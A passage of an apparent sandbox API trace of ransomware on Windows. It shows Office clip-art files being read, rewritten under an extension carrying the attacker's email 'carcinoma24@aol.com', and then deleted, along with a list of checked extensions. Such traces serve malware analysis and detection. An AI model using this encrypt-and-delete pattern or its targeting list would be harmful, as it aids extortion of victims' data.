lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0286.648] ReadFile (in: hFile=0x53c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.649] WriteFile (in: hFile=0x56c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0286.649] SetEndOfFile (hFile=0x56c) returned 1 [0286.649] CloseHandle (hObject=0x56c) returned 1 [0286.649] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.649] SetEndOfFile (hFile=0x53c) returned 1 [0286.653] CloseHandle (hObject=0x53c) returned 1 [0286.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0287.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0287.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0287.657] lstrlenW (lpString=".doc") returned 4 [0287.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.657] lstrlenW (lpString=".docx") returned 5 [0287.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.657] lstrlenW (lpString=".pdf") returned 4 [0287.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.657] lstrlenW (lpString=".xls") returned 4 [0287.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.657] lstrlenW (lpString=".xlsx") returned 5 [0287.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.657] lstrlenW (lpString=".ppt") returned 4 [0287.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0287.657] lstrlenW (lpString=".zip") returned 4 [0287.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.657] lstrlenW (lpString=".rar") returned 4 [0287.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.657] lstrlenW (lpString=".bz2") returned 4 [0287.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.658] lstrlenW (lpString=".7z") returned 3 [0287.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0287.658] lstrlenW (lpString=".dbf") returned 4 [0287.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0287.658] lstrlenW (lpString=".1cd") returned 4 [0287.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0287.658] lstrlenW (lpString=".jpg") returned 4 [0287.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.658] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9596) returned 1 [0287.659] CloseHandle (hObject=0x528) returned 1 [0287.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0287.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0287.663] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.663] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.199] GetLastError () returned 0x0 [0288.199] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x257c, lpOverlapped=0x0) returned 1 [0288.217] WriteFile (in: hFile=0x568, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2580, lpOverlapped=0x0) returned 1 [0288.218] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.218] WriteFile (in: hFile=0x568, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.218] SetEndOfFile (hFile=0x568) returned 1 [0288.219] CloseHandle (hObject=0x568) returned 1 [0288.219] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.219] SetEndOfFile (hFile=0x528) returned 1 [0288.226] CloseHandle (hObject=0x528) returned 1 [0288.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0288.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0288.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0288.228] lstrlenW (lpString=".doc") returned 4 [0288.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.228] lstrlenW (lpString=".docx") returned 5 [0288.228] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0288.228] lstrlenW (lpString=".pdf") returned 4 [0288.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.228] lstrlenW (lpString=".xls") returned 4 [0288.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.228] lstrlenW (lpString=".xlsx") returned 5 [0288.228] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0288.228] lstrlenW (lpString=".ppt") returned 4 [0288.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0288.228] lstrlenW (lpString=".zip") returned 4 [0288.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.228] lstrlenW (lpString=".rar") returned 4 [0288.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.228] lstrlenW (lpString=".bz2") returned 4 [0288.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.228] lstrlenW (lpString=".7z") returned 3 [0288.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0288.229] lstrlenW (lpString=".dbf") returned 4 [0288.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0288.229] lstrlenW (lpString=".1cd") returned 4 [0288.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0288.229] lstrlenW (lpString=".jpg") returned 4 [0288.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.229] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6934) returned 1 [0288.229] CloseHandle (hObject=0x528) returned 1 [0288.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0288.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0288.231] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.231] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.232] GetLastError () returned 0x0 [0288.232] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1b16, lpOverlapped=0x0) returned 1 [0288.248] WriteFile (in: hFile=0x568, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0288.249] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.249] WriteFile (in: hFile=0x568, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.249] SetEndOfFile (hFile=0x568) returned 1 [0288.250] CloseHandle (hObject=0x568) returned 1 [0288.250] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.250] SetEndOfFile (hFile=0x528) returned 1 [0288.253] CloseHandle (hObject=0x528) returned 1 [0288.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0288.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0288.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0288.255] lstrlenW (lpString=".doc") returned 4 [0288.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.255] lstrlenW (lpString=".docx") returned 5 [0288.255] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0288.255] lstrlenW (lpString=".pdf") returned 4 [0288.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.255] lstrlenW (lpString=".xls") returned 4 [0288.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.255] lstrlenW (lpString=".xlsx") returned 5 [0288.255] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0288.255] lstrlenW (lpString=".ppt") returned 4 [0288.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0288.255] lstrlenW (lpString=".zip") returned 4 [0288.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.255] lstrlenW (lpString=".rar") returned 4 [0288.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.255] lstrlenW (lpString=".bz2") returned 4 [0288.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.255] lstrlenW (lpString=".7z") returned 3 [0288.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0288.256] lstrlenW (lpString=".dbf") returned 4 [0288.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0288.256] lstrlenW (lpString=".1cd") returned 4 [0288.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0288.256] lstrlenW (lpString=".jpg") returned 4 [0288.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.256] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4970) returned 1 [0288.257] CloseHandle (hObject=0x528) returned 1 [0288.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0288.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0288.258] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.258] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.259] GetLastError () returned 0x0 [0288.259] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x136a, lpOverlapped=0x0) returned 1 [0288.414] WriteFile (in: hFile=0x568, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1370, lpOverlapped=0x0) returned 1 [0288.415] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.415] WriteFile (in: hFile=0x568, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.417] SetEndOfFile (hFile=0x568) returned 1 [0288.418] CloseHandle (hObject=0x568) returned 1 [0288.418] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.418] SetEndOfFile (hFile=0x528) returned 1 [0288.421] CloseHandle (hObject=0x528) returned 1 [0288.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0288.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0288.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0288.423] lstrlenW (lpString=".doc") returned 4 [0288.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.423] lstrlenW (lpString=".docx") returned 5 [0288.423] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0288.423] lstrlenW (lpString=".pdf") returned 4 [0288.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.423] lstrlenW (lpString=".xls") returned 4 [0288.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.423] lstrlenW (lpString=".xlsx") returned 5 [0288.423] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0288.423] lstrlenW (lpString=".ppt") returned 4 [0288.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0288.423] lstrlenW (lpString=".zip") returned 4 [0288.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.423] lstrlenW (lpString=".rar") returned 4 [0288.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.423] lstrlenW (lpString=".bz2") returned 4 [0288.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.424] lstrlenW (lpString=".7z") returned 3 [0288.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0288.424] lstrlenW (lpString=".dbf") returned 4 [0288.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0288.424] lstrlenW (lpString=".1cd") returned 4 [0288.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0288.424] lstrlenW (lpString=".jpg") returned 4 [0288.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.425] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=16596) returned 1 [0288.425] CloseHandle (hObject=0x528) returned 1 [0288.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0288.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0288.427] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.427] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0294.057] GetLastError () returned 0x0 [0294.057] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x40d4, lpOverlapped=0x0) returned 1 [0294.266] WriteFile (in: hFile=0x3d0, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x40e0, lpOverlapped=0x0) returned 1 [0294.268] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.268] WriteFile (in: hFile=0x3d0, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.268] SetEndOfFile (hFile=0x3d0) returned 1 [0294.268] CloseHandle (hObject=0x3d0) returned 1 [0294.268] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.268] SetEndOfFile (hFile=0x528) returned 1 [0294.272] CloseHandle (hObject=0x528) returned 1 [0294.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0294.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0294.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0294.273] lstrlenW (lpString=".doc") returned 4 [0294.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.273] lstrlenW (lpString=".docx") returned 5 [0294.273] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0294.273] lstrlenW (lpString=".pdf") returned 4 [0294.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.273] lstrlenW (lpString=".xls") returned 4 [0294.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.274] lstrlenW (lpString=".xlsx") returned 5 [0294.274] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0294.274] lstrlenW (lpString=".ppt") returned 4 [0294.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0294.274] lstrlenW (lpString=".zip") returned 4 [0294.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.274] lstrlenW (lpString=".rar") returned 4 [0294.274] lstrcmpiW 